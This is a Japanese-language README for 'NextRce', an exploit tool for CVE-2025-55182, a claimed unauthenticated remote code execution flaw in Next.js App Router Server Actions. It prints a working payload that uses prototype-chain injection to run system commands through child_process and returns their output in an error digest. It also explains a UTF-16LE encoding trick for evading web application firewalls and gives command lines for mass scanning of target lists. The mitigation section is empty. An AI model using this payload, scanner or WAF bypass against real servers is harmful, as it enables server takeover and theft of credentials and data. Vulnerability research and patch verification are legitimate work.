
CVE-2025-55182 の概念実証(PoC)研究ツール。Next.js App Router の React Server Components および Server Actions におけるサーバーサイドオブジェクトインジェクションによって引き起こされる、認証不要の重大な RCE(リモートコード実行)です。UTF-16LE による WAF 回避技術も含みます。
NextRce は、React Server Components (RSC) と Server Actions を使用する Next.js App Router アプリケーションにおける重大な脆弱性 CVE-2025-55182 を実証するセキュリティ研究ツールです。
この脆弱性により、攻撃者は Next.js が Server Action のレスポンス を処理し、サーバー上でシリアライズされた RSC ペイロードを解決する仕組みを悪用して、認証なしのリモートコード実行 (RCE) を達成できます。
CVE-2025-55182 は Next.js App Router アーキテクチャ に存在し、multipart/form-data リクエストの処理中に発生する サーバーサイドオブジェクトインジェクション / プロトタイプチェーンの悪用 の問題に分類されます。
Server Action がトリガーされると、Next.js サーバーは構造化されたクライアント入力を信頼してデシリアライズします。特別に細工されたペイロードを送信することで、攻撃者は内部の解決ロジックを操作し、Node.js ランタイム内で任意のシステムコマンドを実行できます。
この脆弱性は、以下の複合的な要因によって発生します:
Server Actions の信頼モデル
Server Actions は、検証が不十分な内部の React Server Component 解決ロジックを通じて処理される構造化されたクライアントペイロードを受け入れます。
RSC 解決中のオブジェクトインジェクション
細工されたペイロードは JavaScript のプロトタイプチェーンとコンストラクタ参照を悪用し、意図されたオブジェクトのスコープから脱出できます。
不十分なサニタイズ
then、_response、フォームデータのゲッターなどの内部フィールドは、悪意のある操作に対して十分に保護されていません。
エンコーディングに基づく WAF バイパス
多くの Web アプリケーションファイアウォールは UTF-8 または標準の JSON に焦点を当てています。ペイロードを UTF-16LE としてエンコードすると、Next.js サーバーによって正しくデコードされながらも、検査をバイパスできます。
このエクスプロイトは、multipart リクエスト内に細工された RSC ペイロードを注入することに依存しています。
ペイロードの簡略化されたバージョンを以下に示します:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. プロトタイプチェーンハイジャック
"then": "$1:__proto__:then"then プロパティをオーバーライドして JavaScript のプロトタイプチェーンを悪用し、Next.js ランタイムの React Server Component 処理中に Promise が解決される方法を妨害します。2. コンストラクタエスケープ
"_formData": { "get": "$1:constructor:constructor" }Function コンストラクタへのアクセスが可能になり、意図されたサンドボックスの外部で任意の JavaScript を実行できます。3. リモートコード実行
process.mainModule .require('child_process') .execSync('{cmd}')4. ダイジェストベースの出力外部送信
throw Object.assign(new Error('x'), { digest: res });5. WAF バイパス (UTF-16LE)
Content-Type: text/plain; charset=utf-16leCVE-2025-55182 のエクスプロイトが成功すると、以下が発生する可能性があります:
🔥 完全なリモートコード実行
🗄️ 機密データと認証情報へのアクセス
🔗 インフラストラクチャ内での横展開
📦 サプライチェーン侵害
🚨 サーバーの完全な乗っ取り
深刻度: Critical
認証要件: 不要
CVE-2025-55182 から保護するには:
単一ターゲット
python3 exploit.py -u https://target.com -c "whoami"WAF バイパスによる大量スキャン
python3 exploit.py -l urls.txt -B -t 50このプロジェクトは、教育、研究、および許可されたセキュリティテストの目的専用に提供されています。
このツールを、自分が所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。
著者は不正使用に対する一切の責任を負いません。